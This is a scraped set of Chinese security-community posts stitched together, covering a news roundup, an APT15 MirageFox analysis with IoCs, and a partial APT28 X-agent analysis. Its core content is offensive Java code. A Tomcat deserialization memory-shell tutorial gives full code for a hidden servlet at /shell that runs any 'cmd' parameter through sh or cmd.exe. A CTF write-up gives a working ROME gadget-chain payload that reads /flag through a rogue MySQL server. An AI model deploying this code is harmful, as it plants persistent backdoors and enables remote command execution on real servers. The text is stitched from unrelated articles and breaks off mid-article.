[https://play.google.com/store/apps/details?id=com.techwin.shc&hl=en_GB](https://play.google.com/store/apps/details?id=com.techwin.shc&hl=en_GB)
4\. Exploitee.rs官方网站：
[https://www.exploitee.rs/index.php/Main_Page](https://www.exploitee.rs/index.php/Main_Page)
5.Zenofex的Twitter主页：
[https://twitter.com/zenofex](https://twitter.com/zenofex)
6.漏洞利用代码（POC）的下载地址：
[https://www.exploit-db.com/download/40235](https://www.exploit-db.com/download/40235) | 社区文章 |
# 3月4日安全热点 - follow.user窃取信息并将自己的广告添加到iOS应用中的任何网站
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 资讯类
follow.user跟踪用户的网站活动，窃取他们的数据和凭据，并将自己的广告添加到iOS应用中的任何网站
<https://krausefx.com//blog/follow-user>
如何安全地存储密码货币
<https://hackernoon.com/how-to-store-cryptocurrencies-safely-256ca587b7ab>
Java EE已被重命名为Jakarta EE
[https://news.slashdot.org/story/18/03/04/035236/java-ee-has-been-renamed-jakarta-ee?utm_source=rss1.0mainlinkanon&utm_medium=feed](https://news.slashdot.org/story/18/03/04/035236/java-ee-has-been-renamed-jakarta-ee?utm_source=rss1.0mainlinkanon&utm_medium=feed)
百度文库被发现上传了日企的内部机密文件
<https://www.solidot.org/story?sid=55661>
Equifax证书解除Windows 10操作系统安全性
<https://leeneubecker.com/equifax-equimelt-vulnerability/>
## 技术类
Apple macOS Sierra 10.12.1 IOFireWireFamily FireWire端口拒绝服务
<https://cxsecurity.com/issue/WLB-2018030033>
XSStrike – 先进的XSS模糊器和开发套件
<https://www.darknet.org.uk/2018/03/xsstrike-advanced-xss-fuzzer-exploitation-suite/>
APT攻击工具集<https://github.com/NextronSystems/APTSimulator>
Apple macOS High Sierra 10.13 ctl_ctloutput-leak信息泄漏
[
https://cxsecurity.com/issue/WLB-2018030032](https://cxsecurity.com/issue/WLB-2018030032) | 社区文章 |
# APT15用旧工具开发出新的恶意软件——MirageFox
##### 译文声明
本文是翻译文章，文章来源：https://www.intezer.com/
原文地址：<https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/>
译文仅供参考，具体内容表达以及含义原文为准。
## APT15背景
巧合的是，继[美国海军承包商最近遭到黑客攻击并窃取了有关潜艇战争的高度敏感数据之后](https://www.washingtonpost.com/world/national-security/china-hacked-a-navy-contractor-and-secured-a-trove-of-highly-sensitive-data-on-submarine-warfare/2018/06/08/6cc396fa-68e6-11e8-bea7-c8eb28bc52b1_story.html?utm_term=.a8fe5498fa06)，我们发现了一组被称为APT15的组织近期活动的证据，该组织据信与隶属于中国政府的网络间谍活动有关。最近的这个活动所涉及的恶意软件MirageFox，看起来像是一个源于2012年，被称为Mirage的RAT工具的升级版本。
APT15以针对位于许多不同国家的公司和组织的网络间谍活动而闻名，主要针对石油行业，政府承包商，军队等不同行业。他们以“living off the
land”而闻名，这意味着他们使用已安装在计算机上的工具和软件进行操作，一旦进入目标网络，他们就会根据目标量身定制恶意软件。该组织也被称作Vixen
Panda、Ke3chang、Royal APT或者Playful Dragon。
网络上有很多关于APT15及其活动的文章和研究，最近的一篇是NCC
Group发表的，虽然该文章发表于2018年3月，但实际上它记录的是2017年的一次活动。另外，尽管2017年的活动已有记录，但在我们关于MirageFox的研究中，发现了最近从2017年活动中上传的二进制文件（6/8/2018）与其RoyalAPT报告中提到的RAT非常相似，
**仅在[VirusTotal](https://www.virustotal.com/#/file/016948ec7743b09e41b6968b42dfade5480774df3baf915e4c8753f5f90d1734/detection)上的7/66项检测中即发现。**
## APT15代码复用
我们在VirusTotal检测中发现了RAT的一个新版本，依靠我们基于仅从和隶属于中国政府的组织有关的Mirage和Reaver中发现的代码创造的一个YARY签名。在发现这些二进制文件是新上传到VirusTotal的，并且很少有检测到的情况下，我们用Intezer
Analyze™分析了它们，以查看是否可以找到任何复用的代码。
_<https://analyze.intezer.com/#/analyses/d00b6787-0078-4148-aec3-a66779a22ba5>_
在代码复用分析报告(SHA256:
28d6a9a709b9ead84aece250889a1687c07e19f6993325ba5295410a478da30a)中可以看到，Mirage和Reaver中有相同的代码，编辑时间戳是从2018年6月8日开始的，而VirusTotal上的上传日期是2018年6月9日。
_[VirusTotal](https://www.virustotal.com/#/file/28d6a9a709b9ead84aece250889a1687c07e19f6993325ba5295410a478da30a/detection)_
在VirusTotal上，我们可以看到对该二进制文件只进行了10/66项检测，对MirageFox (SHA256:
97813e76564aa829a359c2d12c9c6b824c532de0fc15f43765cf6b106a32b9a5)的另一个相似版本进行了11/66项检测，对被上传的第三个MirageFox二进制文件
(SHA256:
b7c1ae10f3037b7645541acb9f7421312fb1e164be964ee7acd6eb1299d6acb2)进行了9/64项检测。
以下是Mirage家族在新旧二进制文件之间找到的代码复用相似的一对样本。
### 远程Shell
上述功能可以在Mirage家族的许多二进制文件中看到，并且在C＆C发送命令时被执行，它负责在cmd.exe中执行命令（在截图中未显示，稍后在函数中给出，它查找cmd.exe并使用
_CreateProcessA_ 来执行）。
### 配置破解
上图中显示出的另一个细小但同样重要的功能，是破解包含C&C配置的数据的功能，与[Palo
Alto](https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/)发布的Reaver类似，它获取C＆C服务器的IP或域、端口、二进制文件的名称、睡眠计时器以及Palo Alto称作的“活动标识符”。
## 技术细节
目前，我们还无法检索原始感染媒介和其他有关APT15组织用于攻击其目标的其他工具的信息。
**我们能够就目前得到的信息得出一些非常有意思的结论，尽管没有完整的背景的情况下我们也不能确定情况到底怎么样。**
首先，这个被命名为MirageFox而不是Mirage的原因是因为在模块的Export目录中，名称字段由字符串MirageFox_Server.dat填充。
在上图中，可以明显看到有一个导出的函数。MirageFox二进制文件导出一个名为 _dll_wWinMain_ 的函数 _，_ 它是
_vsodscpl.dll_ 中导出的 _名称_
，这是McAfee提供的一个模块，它由一些导入和调用此函数的可执行文件加载。这很可能意味着有一些类型的DLL劫持正在通过向MirageFox发布合法的McAfee二进制文件，将DLL正确加载到合法的查看进程中。APT15组过去被曾见过使用DLL劫持技术。这里的问题是，一旦第一次调用导出，模块将自身重命名为sqlsrver.dll，并且模块内没有任何持久性类型的证据。通过将其重命名，RAT的未来执行将不会依靠McAfee二进制文件，而未来的持久性可以依靠恶意软件的另一个组件，甚至由C＆C发送到受感染计算机的命令来设置。
最有趣的部分是破解的C＆C配置，如下图所示。
### 破解配置
C&C IP: 192.168.0.107*
_端口: 80_
_休眠定时器: 30000_
_Campaign Identifier: Mirage_
如果您查看破解的配置，您可能会注意到 **用于C＆C的IP是内部IP地址**
。如果您阅读了上面提到的NCC集团有关RoyalAPT的报告，则会注意到该报告提到APT15在盗用VPN私钥后会再次渗入公司组织，
**因此我们可以假定该版本是针对已经渗透并正在使用VPN连接到的内部网络** 。
MirageFox的其余部分功能类似于APT15以前制作的恶意软件，首先收集有关计算机的信息，如用户名、CPU信息、体系结构等，并将这些信息发送给C＆C，然后打开一个后门，并等待来自C＆C的命令，其功能包括修改文件、启动进程、终止自身以及APT15
RAT中通常会看到的更多功能。
## 结论
由于MirageFox二进制文件中的代码和其他相似之处，MirageFox可以归结于APT15。众所周知，APT15在渗透目标之后，会进行大量侦察工作，手动发送C＆C命令，并定制最适合他们所感染的环境的恶意软件组件。
## IoCs
**MirageFox**
28d6a9a709b9ead84aece250889a1687c07e19f6993325ba5295410a478da30a
97813e76564aa829a359c2d12c9c6b824c532de0fc15f43765cf6b106a32b9a5
b7c1ae10f3037b7645541acb9f7421312fb1e164be964ee7acd6eb1299d6acb2
**RoyalAPT**
016948ec7743b09e41b6968b42dfade5480774df3baf915e4c8753f5f90d1734
**RoyalAPT C &C**
buy.healthcare-internet[.]com
**Mirage (w/ Same C &C Config Decryption)**
5787eff4b4d6ee5b4c5457c9af5e2f2e3c75204b5989606b1faa9b944dc49a30
b6bd5d8f5a824db05c37dde459b60a5571df87966e00390f2df56628da49b856
b9403fb1e3743617bcdf8c1e5dd332c325c1e1f2e79bef166261fec0091880cf
ffaddb93042243926a964864e21a28365807ac5be843f5e690f9916cddbbd55b
b0a2923e817ac982c89510e4bd8eab68892ee51e5fa625bd806508a4b701aa78
da4dbc738d069fbcc9b96ab4af2bd3f7a87c7b69a4b47071e099e36b481dfa01
f633df1fb42666f62eb23fd70dac4e3c0c4908af123f9335f3b58e6ea205df8a
e67e58bc736bd54e6915cb43af5f3c332da3592839a5a4884ba141b089310815
1534432fafb21c0479343bc2d9f3991e56c75baa41c54b3470d41055bb578f8f
27a0ce9761363f6a1eafc719b96bbe1f9a426e50e8b5abf84db963efddb89a8d
d22c2ef1453d5575e05a673777931e07c44734fe467a77969bebe86e26aacf98
f85023ae81917a7fae0d987134a968ffad346d5c3b35d3a98e237419dd334696
24b3c3527a2431d1c1dd27fe6566ddcaa8e4b92e31e468bb733e827350830a14
57550ab2d20a757b24137ab764a2e9bf644fd8e1f4313bca22e04db7fa608cc2
4d45ddc35abf77cded21bafe5483d345585c1d84f52a101a65ebfda88be5ad7d
421f4c83898ff3ae9b2a94621140ef770888a8a0914b163cdae4690433173899
c27fb5fd362fdaec2e344564f76197d01e1dc463ee3552b16452fc41e67f2709
cec9c4e48fad6e4c2b7cf4bc34d357893ef878e8be076c9f680f297e06184c20
审核人：yiwang 编辑：边边 | 社区文章 |
## 前言
在学习[
**kingkk**](https://xz.aliyun.com/u/9950)师傅的《Tomcat中一种半通用回显方法》一文中，找到了一个静态的存储了request
and response的变量
我在使用该回显方式进行反序列化漏洞注入内存马实现过程中，踩坑不断，分享一下有哪些坑
## 细节
### 如何获取回显
在师傅文章中的描述中，他的想法是找到一个在request /
response传递过程中，能够对request进行保存的一段代码点，如果能够我们能够获取到该变量，也即能够获取request对象，进行内存马的进一步注入
我们定位到了`org.apache.catalina.core.ApplicationFilterChain`类中
其存在有两个变量`lastServicedRequest / lastServicedResponse`
他们都是一个`ThreadLocal`类型
那么什么是一个`ThreadLocal`类型捏？
>
> 多线程访问同一个共享变量的时候容易出现并发问题，特别是多个线程对一个变量进行写入的时候，为了保证线程安全，一般使用者在访问共享变量的时候需要进行额外的同步措施才能保证线程安全性。ThreadLocal是除了加锁这种同步方式之外的一种保证一种规避多线程访问出现线程不安全的方法，当我们在创建一个变量后，如果每个线程对其进行访问的时候访问的都是线程自己的变量这样就不会存在线程不安全问题。
>
>
> ThreadLocal是JDK包提供的，它提供线程本地变量，如果创建一乐ThreadLocal变量，那么访问这个变量的每个线程都会有这个变量的一个副本，在实际多线程操作的时候，操作的是自己本地内存中的变量，从而规避了线程安全问题
也就是说获取的是本次请求的对应的request对象
在接受一个请求的时候，在处理这个请求的时候，首先会调用`ApplicationFilterChain#internalDoFilter`进行过滤器的调用
主要的逻辑如上图
在第一个if语句中，如果能够进入其中，将会执行`lastServicedRequest.set(request); /
lastServicedResponse.set(response)`两条语句进行request / response的保存
我们可以调试一下，正常访问了一个资源，定位到该位置，是不会将request / response进行保存的
也即是因为`ApplicationDispatcher`类的`WRAP_SAME_OBJECT`属性值为false
所以我们的首要目的是将其置为true，我们可以通过强大的反射来实现这个目的
对于该属性，是一个`static final`修饰的属性，直接通过常见的反射赋值是不能够成功的
参见[该文章](https://www.cnblogs.com/noKing/p/9038234.html)，能够对该属性进行修改
所以我们首先通过反射修改属性值
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}
### 初步构造回显内存马
#### 环境搭建
我这里使用的是springboot 2.5.0直接进行搭建
其中接收反序列化漏洞的点为
#### 开始构造
在设置了`WRAP_SAME_OBJECT_FIELD`属性为true之后，在第二次进行访问的时候将会将request /
response进行保存，也即是不会进入if语句中
这里我们使用前面提到的Tomcat
Servlet的内存马进行测试，前面实际上不算是真正意义上的内存马，因为前面对于获取request的步骤是直接使用的是，`HttpServlet`类的`doPost`方法中传入的`HttpServletRequest`对象
对于反序列化的方法进行内存马的注入是不能够成功的
这里，我将doPost中的逻辑放在`else`语句中，代表着在成功记录了request / response对象之后进行执行我们的注入内存马逻辑
对于request的获取，我们从`lastServicedRequest`属性中进行获取
ServletRequest servletRequest = lastServicedRequest.get()
完整的实现
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else {
String name = "xxx";
//从req中获取ServletContext对象
// 第二次请求后进入 else 代码块，获取 Request 和 Response 对象，写入回显
ServletRequest servletRequest = lastServicedRequest.get();
ServletContext servletContext = servletRequest.getServletContext();
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
//自定义servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
#### 开始注入
curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"
发送序列化数据
值得注意的是，这里需要发送两次序列化数据，因为第一次是用来修改属性值，第二次执行内存马注入逻辑
在发送第一次的时候
成功进入if语句保存了request域
在第二次发送序列化数据的时候
同样保存了本次请求的request对象
Boom!!在执行else语句中的逻辑中出错了
报错显示找不到Servlet这个类
### 重新构造回显内存马
#### 开始构造
前面不能找到我们自定义创建的Servlet类，在我看来，应该是这里使用的是`TemplateImpl`链进行反序列化漏洞的利用，要求必须要实现`AbstractTranslet`类，才能进行加载，这里使用的是`TemplatesImpl$TransletClassLoader.loadClass`进行类的加载，或许是因为这个原因导致不能加载
> 纯属个人理解，如果说错了，希望能告知一声，感谢
所以我们直接在主类中实现`servlet`接口，将其也扩展为一个Servlet对象，这样就能够加载这个Servlet类了
完整的代码
public class TomcatMemshell extends AbstractTranslet implements Servlet{
static {
try {
Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
// 去掉final修饰符，设置访问权限
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
// 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
if (!WRAP_SAME_OBJECT.getBoolean(null)) {
WRAP_SAME_OBJECT.setBoolean(null, true);
lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
} else {
String name = "xxx";
//从req中获取ServletContext对象
// 第二次请求后进入 else 代码块，获取 Request 和 Response 对象，写入回显
ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
ServletRequest servletRequest = threadLocalReq.get();
ServletResponse servletResponse = threadLocalResp.get();
ServletContext servletContext = servletRequest.getServletContext();
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
//自定义servlet
Servlet servlet = new TomcatMemshell();
//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
#### 测试
发送第一次数据
成功修改
发送第二次数据
成功注入
查看效果
## 参考
<https://www.cnblogs.com/noKing/p/9038234.html>
<https://xz.aliyun.com/t/7348> | 社区文章 |
## 前言
PS.有战队缺web手可以联系我一起打比赛
系统的学习Java安全也有了2、3个月了，这次忙中偷闲，在打安洵杯的时候有个和ROME链有关的`ezjaba`
好巧不巧，拿了一个first blood, 写个解题思路存个档
## 解题
首先将附件下载下来
### 附件
首先看看项目依赖
一个ROME，两个JDBC驱动
之后看看项目结构
分析一下`IndexController`类
在`read`路由中，可以接收data传参，在进行了Base64解码之后将输入流传入了`SecurityObjectInpitStream`类中
来看看这个类
在其构造方法中添加了一个关键类名的黑名单，之后在`resolveClass`方法中的逻辑就是，在反序列化过程中，如果存在黑名单中的类，就直接会抛出异常！
回到`IndexController`类中，分别`readUTF /
readInt`来获取对应的数据进行判断，之后只有通过`if`语句才能够进行反序列化调用
但是我们可以知道在黑名单中，将ROME链需要的几乎所有的类都给ban了，直接用ROME链打应该是行不通的
又转而看看`Connection`包下的`Database`类
这个类是实现了`Serializable`接口的，能够进行序列化
在其`getConnection`方法中的逻辑就是通过拼接生成了一个JDBC连接串，之后将这个`url`传入了`JdbcUtils.filterJdbcUrl`方法中，进行处理
这里就是对JDBC连接串进行了一些限制，限制了在Mysql数据库的JDBC
attack过程中是不能开启`autoDeserialize`这个属性，也就不能进行JDBC attack的反序列化利用
在经过这个方法的过滤之后调用`DriverManager.getConnection`方法进行了JDBC连接
### 分析
在理解了题目的大概逻辑之后
我们的目标就是找到一个反序列化的链子，这个链子中是不能够使用其在黑名单中存在的类
之后能够调用类对象的任意getter方法，就能够触发JDBC连接
这里只有一个ROME依赖，在没有限制的ROME链中，关键是通过触发`ToStringBean#toString`方法来调用了`TemplatesImpl`类的任意getter方法，也就是`getOutputProperties`方法进行了RCE的
这里题目留了个入口，并没有ban掉这个关键类，也存在有一个`Database#getConnection`方法能够存在利用
所以我们现在的目标就是找到一个链子，能够调用`ToStringBean#toString`方法
也即是，我们需要一条调用任意类的toString方法的链子，因为这里是Spring环境，也比较容易的想到了`SpringPartiallyComparableAdvisorHolder`这条链子
调用栈为：
doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
这里是触发了JNDI注入进行的利用
我们只需要能够触发任意`toString`方法就行了，截取调用链的前面一小部分就已经能够达到目标了
也即是通过调用`XString#equals`方法进行触发`ToStringBean#toString`方法
这样，我们已经找到了反序列化的链子，之后我们需要绕过JDBC连接串的限制
他那里禁用了反序列化，这里我们直接进行Mysql任意文件的读取漏洞来获取远程主机的文件
参见我以前总结的
<https://www.freebuf.com/vuls/341270.html>
### 利用
POC：
package rome;
import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class Test {
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
//反射设置属性值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(String[] args) {
try {
Database database = new Database();
database.setDatabase("mysql");
database.setHots("your_vps_ip");
database.setUsername("fileread_/flag&maxAllowedPacket=655360");
database.setPassword("root");
ToStringBean toStringBean = new ToStringBean(Database.class, database);
//反序列化时HotSwappableTargetSource.equals会被调用，触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("axb");
objectOutputStream.writeInt(2022);
objectOutputStream.writeObject(s);
byte[] bytes = byteArrayOutputStream.toByteArray();
String s1 = Base64.getEncoder().encodeToString(bytes);
System.out.println(s1);
} catch (Exception e) {
e.printStackTrace();
}
}
}
直接开启我们的恶意Mysql服务器
发送序列化数据
收到数据
## 总结
这道题我也是简单看了一下，个人觉得我这种方法应该是一种非预期解吧，这道题有很多种解题的方法
比如对于反序列化链的构造，不仅仅可以使用像我这里的使用`XString#equals`方法来触发任意toString方法，还有很多思路可以触发，可以去Hessian的链子中去找到
而对于JDBC
attack也不仅仅可以使用Mysql，应该也可以通过Postgresql的JDBC连接串来进行RCE，当然都是我的猜测，感觉是可行的，还没尝试过(这该死的期末考试) | 社区文章 |
最近在研究APT攻击，我选择研究APT的方法通过一个APT组织入手，我选择的是APT28这个组织，APT28组织是一个与俄罗斯政府组织的高级攻击团伙，我将分析该组织的攻击样本、攻击方法、攻击目的来研究一个APT组织。本次分析的是该团伙使用的X-agent样本，所有资料均来自互联网。
X-agent作为APT28的旗舰木马，已经有多个平台的版本，该木马通常作为第二阶段木马，拥有完整的功能模块，由于ESET已经获取到源码，但是我并没有找到，只能通过逆向的方式分析此款木马。
**样本静态信息**
文件名称 spoolhost.exe
SHA-256 dfba21b4b7e1e6ebd162010c880c82c9b04d797893311c19faab97431bf25927
创建时间 2013-05-21 14:01:00
文件大小 145 KB (148,805 字节)
**概述**
该文件在被下载执行后，会主动释放ose00000.exe、83D2CDE2-8311-40CB-B51D-EBE20FA803D1.dll两个文件，dll文件时旗舰X-agent木马，ose00000.exe主要时设置dll文件的持久化，DLL文件作为X-agent木马，共有AgentKernel、modKey
、modFS、modProcRet模块，可以进行键盘记录，屏幕截图等操作。网络连接在POST和URL中带有先被RC4加密，后被base64(非标准)编码的硬编码key
**样本分析**
首先经过一段反分析，如果时间超过正常机器速度，则认为被调式，直接退出。
样本首先通过获取系统环境变量，释放一个DLL文件，
C:\WINDOWS\83D2CDE2-8311-40CB-B51D-EBE20FA803D1.dll
并通过rundll32.exe执行dll中的init导出函数
**83D2CDE2-8311-40CB-B51D-EBE20FA803D1.dll文件分析**
**样本静态信息**
文件名称 83D2CDE2-8311-40CB-B51D-EBE20FA803D1.dll
SHA-256 5f6b2a0d1d966fc4f1ed292b46240767f4acb06c13512b0061b434ae2a692fa1
创建时间 2013-05-21 13:53:21
文件大小 107 KB (109,568 字节)
**样本分析**
样本首先获取临时文件路径，并做参数启动线程
首先看到的是X-agent 木马的AgentKernel模块，该模块是核心模块负责与C&C进行通信
首先获取硬盘信息
之后进行
LocalAgentWinHttpProxySender
AgentModuleRemoteKeyLogger
ModuleFileSystem
ProcessRetranslatorModule
模块的配置工作
之后开始启动主线程，和通过线程启动一些其他模块
**网络连接分析**
先通过连接adobeincorp.com来判断网络是否联通，联通之后分别发送POST跟get请求，还在里面发现了两个备份的C&C地址94.23.254.109跟216.244.65.34
**URL数据加密方法解析**
POST跟GET请求间隔15分钟进行发送，在发送前会，首先会计算出一串字符传，来看一下这串字符串是如何计算出来的
首先会出先一个key,这个key是硬编码到文件中后面连接获取的硬盘序列号
之后将上面组装的key跟硬盘序列号的0x18自己进行RC4加密，加密密钥是随机的4个字节
RC4加密算法
